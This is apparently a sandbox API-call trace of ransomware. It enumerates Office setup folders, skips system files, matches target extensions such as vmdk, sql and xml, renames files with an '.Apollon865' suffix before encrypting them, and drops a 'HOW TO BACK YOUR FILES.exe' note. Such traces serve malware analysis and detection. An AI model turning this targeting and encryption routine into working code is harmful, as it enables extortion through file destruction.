	[0075.929] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.929] lstrlenW (lpString="ba_") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.930] lstrlenW (lpString="dbb") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.930] lstrlenW (lpString="vmdk") returned 4
	[0075.930] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.930] lstrlenW (lpString="rar") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.930] lstrlenW (lpString="zip") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.930] lstrlenW (lpString="tgz") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.930] lstrlenW (lpString="vbox") returned 4
	[0075.930] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.930] lstrlenW (lpString="vdi") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.930] lstrlenW (lpString="vhd") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.930] lstrlenW (lpString="vhdx") returned 4
	[0075.930] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.930] lstrlenW (lpString="avhd") returned 4
	[0075.930] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.930] lstrlenW (lpString="db") returned 2
	[0075.930] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.930] lstrlenW (lpString="db2") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.930] lstrlenW (lpString="db3") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.930] lstrlenW (lpString="dbf") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.930] lstrlenW (lpString="mdf") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.930] lstrlenW (lpString="mdb") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.930] lstrlenW (lpString="sql") returned 3
	[0075.930] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.930] lstrlenW (lpString="sqlite") returned 6
	[0075.931] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.931] lstrlenW (lpString="sqlite3") returned 7
	[0075.931] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.931] lstrlenW (lpString="sqlitedb") returned 8
	[0075.931] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.931] lstrlenW (lpString="xml") returned 3
	[0075.931] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.931] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.Apollon865") returned 114
	[0075.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.932] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4207) returned 1
	[0075.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.933] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.934] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.934] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.934] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1370, lpName=0x0) returned 0x118
	[0075.935] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1370) returned 0x100000
	[0075.936] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.937] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.937] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.937] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.937] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.938] CloseHandle (hObject=0x118) returned 1
	[0075.938] CloseHandle (hObject=0x15c) returned 1
	[0075.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.938] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.938] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.938] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd70
	[0075.938] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us"
	[0075.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aaa20 | out: hHeap=0x580000) returned 1
	[0075.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0075.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 93
	[0075.938] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us"
	[0075.938] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.938] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.944] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45553810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45553810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.944] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.944] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.944] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.944] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45553810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45553810, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.944] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.944] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.945] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.945] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.945] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45553810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45553810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.945] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.945] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2=".") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="..") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="windows") returned -1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="bootmgr") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="temp") returned -1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="pagefile.sys") returned -1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="boot") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="ids.txt") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="perflogs") returned -1
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2="MSBuild") returned 1
	[0075.945] lstrlenW (lpString="OneNoteMUI.XML") returned 14
	[0075.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*") returned 95
	[0075.945] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="OneNoteMUI.XML" | out: lpString1="OneNoteMUI.XML") returned="OneNoteMUI.XML"
	[0075.945] lstrlenW (lpString="OneNoteMUI.XML") returned 14
	[0075.945] lstrlenW (lpString="Apollon865") returned 10
	[0075.945] lstrcmpiW (lpString1="oteMUI.XML", lpString2="Apollon865") returned 1
	[0075.945] lstrlenW (lpString=".dll") returned 4
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2=".dll") returned 1
	[0075.945] lstrlenW (lpString=".lnk") returned 4
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2=".lnk") returned 1
	[0075.945] lstrlenW (lpString=".ini") returned 4
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2=".ini") returned 1
	[0075.945] lstrlenW (lpString=".sys") returned 4
	[0075.945] lstrcmpiW (lpString1="OneNoteMUI.XML", lpString2=".sys") returned 1
	[0075.945] lstrlenW (lpString="OneNoteMUI.XML") returned 14
	[0075.945] lstrlenW (lpString="bak") returned 3
	[0075.945] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.945] lstrlenW (lpString="ba_") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.946] lstrlenW (lpString="dbb") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.946] lstrlenW (lpString="vmdk") returned 4
	[0075.946] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.946] lstrlenW (lpString="rar") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.946] lstrlenW (lpString="zip") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.946] lstrlenW (lpString="tgz") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.946] lstrlenW (lpString="vbox") returned 4
	[0075.946] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.946] lstrlenW (lpString="vdi") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.946] lstrlenW (lpString="vhd") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.946] lstrlenW (lpString="vhdx") returned 4
	[0075.946] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.946] lstrlenW (lpString="avhd") returned 4
	[0075.946] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.946] lstrlenW (lpString="db") returned 2
	[0075.946] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.946] lstrlenW (lpString="db2") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.946] lstrlenW (lpString="db3") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.946] lstrlenW (lpString="dbf") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.946] lstrlenW (lpString="mdf") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.946] lstrlenW (lpString="mdb") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.946] lstrlenW (lpString="sql") returned 3
	[0075.946] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.946] lstrlenW (lpString="sqlite") returned 6
	[0075.946] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.946] lstrlenW (lpString="sqlite3") returned 7
	[0075.946] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.947] lstrlenW (lpString="sqlitedb") returned 8
	[0075.947] lstrcmpiW (lpString1="eMUI.XML", lpString2="sqlitedb") returned -1
	[0075.947] lstrlenW (lpString="xml") returned 3
	[0075.947] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.947] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.Apollon865") returned 119
	[0075.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.948] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1606) returned 1
	[0075.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.948] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.949] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.949] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.949] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0x118
	[0075.950] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000
	[0075.951] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.951] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.951] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.952] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.952] CloseHandle (hObject=0x118) returned 1
	[0075.952] CloseHandle (hObject=0xc0) returned 1
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.952] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.952] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.952] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.952] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.952] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.952] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.953] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0075.953] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.953] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.953] lstrlenW (lpString="Apollon865") returned 10
	[0075.953] lstrlenW (lpString=".dll") returned 4
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.953] lstrlenW (lpString=".lnk") returned 4
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.953] lstrlenW (lpString=".ini") returned 4
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.953] lstrlenW (lpString=".sys") returned 4
	[0075.953] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.953] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.953] lstrlenW (lpString="bak") returned 3
	[0075.953] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.953] lstrlenW (lpString="ba_") returned 3
	[0075.953] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.953] lstrlenW (lpString="dbb") returned 3
	[0075.953] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.953] lstrlenW (lpString="vmdk") returned 4
	[0075.953] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.953] lstrlenW (lpString="rar") returned 3
	[0075.953] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.953] lstrlenW (lpString="zip") returned 3
	[0075.953] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.953] lstrlenW (lpString="tgz") returned 3
	[0075.953] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.953] lstrlenW (lpString="vbox") returned 4
	[0075.954] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.954] lstrlenW (lpString="vdi") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.954] lstrlenW (lpString="vhd") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.954] lstrlenW (lpString="vhdx") returned 4
	[0075.954] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.954] lstrlenW (lpString="avhd") returned 4
	[0075.954] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.954] lstrlenW (lpString="db") returned 2
	[0075.954] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.954] lstrlenW (lpString="db2") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.954] lstrlenW (lpString="db3") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.954] lstrlenW (lpString="dbf") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.954] lstrlenW (lpString="mdf") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.954] lstrlenW (lpString="mdb") returned 3
	[0075.954] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.954] lstrlenW (lpString="sql") returned 3
